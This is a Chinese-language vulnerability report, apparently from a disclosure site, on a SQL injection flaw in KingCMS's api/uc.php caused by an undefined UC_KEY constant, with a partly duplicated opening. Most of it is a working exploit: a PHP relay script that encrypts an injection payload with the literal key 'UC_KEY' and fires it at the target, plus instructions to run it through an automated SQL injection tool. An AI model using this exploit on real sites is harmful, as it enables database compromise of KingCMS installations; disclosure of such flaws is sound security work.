### 简要描述: kingcms 注入漏洞 ### 详细说明: ``` api/uc.php UC_KEY没有初始化导致注入 <?php define('UC_CLIENT_VERSION', '1.5.0');//note UCenter 版本标识 define('UC_CLIENT_RELEASE', '20090502'); define('API_DELETEUSER', 1);//note 用户删除 API 接口开关 define('API_RENAMEUSER', 1);//note 用户改名 API 接口开关 define('API_GETTAG', 1);//note 获取标签 API 接口开关 define('API_SYNLOGIN', 1);//note 同步登录 API 接口开关 define('API_SYNLOGOUT', 1);//note 同步登出 API 接口开关 define('API_UPDATEPW', 1);//note 更改用户密码 开关 define('API_UPDATEBADWORDS', 1);//note 更新关键字列表 开关 define('API_UPDATEHOSTS', 1);//note 更新域名解析缓存 开关 define('API_UPDATEAPPS', 1);//note 更新应用列表 开关 define('API_UPDATECLIENT', 1);//note 更新客户端缓存 开关 define('API_UPDATECREDIT', 0);//note 更新用户积分 开关 define('API_GETCREDITSETTINGS', 0);//note 向 UCenter 提供积分设置 开关 define('API_GETCREDIT', 0);//note 获取用户的某项积分 开关 define('API_UPDATECREDITSETTINGS', 0);//note 更新应用积分设置 开关 define('API_RETURN_SUCCEED', '1'); define('API_RETURN_FAILED', '-1'); define('API_RETURN_FORBIDDEN', '-2'); define('KC_INDEX',True);...
### 简要描述: kingcms 注入漏洞 ### 详细说明: ``` api/uc.php UC_KEY没有初始化导致注入 <?php define('UC_CLIENT_VERSION', '1.5.0');//note UCenter 版本标识 define('UC_CLIENT_RELEASE', '20090502'); define('API_DELETEUSER', 1);//note 用户删除 API 接口开关 define('API_RENAMEUSER', 1);//note 用户改名 API 接口开关 define('API_GETTAG', 1);//note 获取标签 API 接口开关 define('API_SYNLOGIN', 1);//note 同步登录 API 接口开关 define('API_SYNLOGOUT', 1);//note 同步登出 API 接口开关 define('API_UPDATEPW', 1);//note 更改用户密码 开关 define('API_UPDATEBADWORDS', 1);//note 更新关键字列表 开关 define('API_UPDATEHOSTS', 1);//note 更新域名解析缓存 开关 define('API_UPDATEAPPS', 1);//note 更新应用列表 开关 define('API_UPDATECLIENT', 1);//note 更新客户端缓存 开关 define('API_UPDATECREDIT', 0);//note 更新用户积分 开关 define('API_GETCREDITSETTINGS', 0);//note 向 UCenter 提供积分设置 开关 define('API_GETCREDIT', 0);//note 获取用户的某项积分 开关 define('API_UPDATECREDITSETTINGS', 0);//note 更新应用积分设置 开关 define('API_RETURN_SUCCEED', '1'); define('API_RETURN_FAILED', '-1'); define('API_RETURN_FORBIDDEN', '-2'); define('KC_INDEX',True); define('KC_CALL_FUNC',True); require_once '../global.php';//加载KingCMS $king->load('user');//加载用户类 //note 普通的 http 通知方式 error_reporting(0); restore_error_handler(); set_magic_quotes_runtime(0); define('ROOT', substr(dirname(__FILE__), 0, -3)); defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); define('UC_CLIENT_ROOT', ROOT.'user/client/'); $_DCACHE = $get = $post = array(); //解码传入参数 $code = @$_GET['code']; //var_dump(UC_KEY); parse_str(_authcode($code, 'DECODE', UC_KEY), $get);//这里没有DEF UC_KEY 所以直接把UC_KEY作为一个字符串传入 if(MAGIC_QUOTES_GPC) { $get = _stripslashes($get); } 这样我们就能执行UC API来进行注入了 写一个中转程序进行注入 代码如下 <?php $timestamp = time()+10*3600; $host="127.0.0.1"; $uc_key="UC_KEY"; $code=urlencode(_authcode("time=999999999999999999999999&ids=1) and 1={$_GET['id']} and 1 =(1&action=deleteuser", 'ENCODE', $uc_key)); echo file_get_contents("http://127.0.0.1//kingcms/api/uc.php?code={$code}"); function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }} ?> 保存为1.php 利用方法 http://127.0.0.1/x.php?id=1 丢到大萝卜里面跑就OKl饿 <code> ``` </code> ### 漏洞证明: [<img src="https://images.seebug.org/upload/201311/20201457c36e50e8e41ed0df2b42596c3f514c43.png" alt="QQ截图20131106230233.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201311/20201457c36e50e8e41ed0df2b42596c3f514c43.png)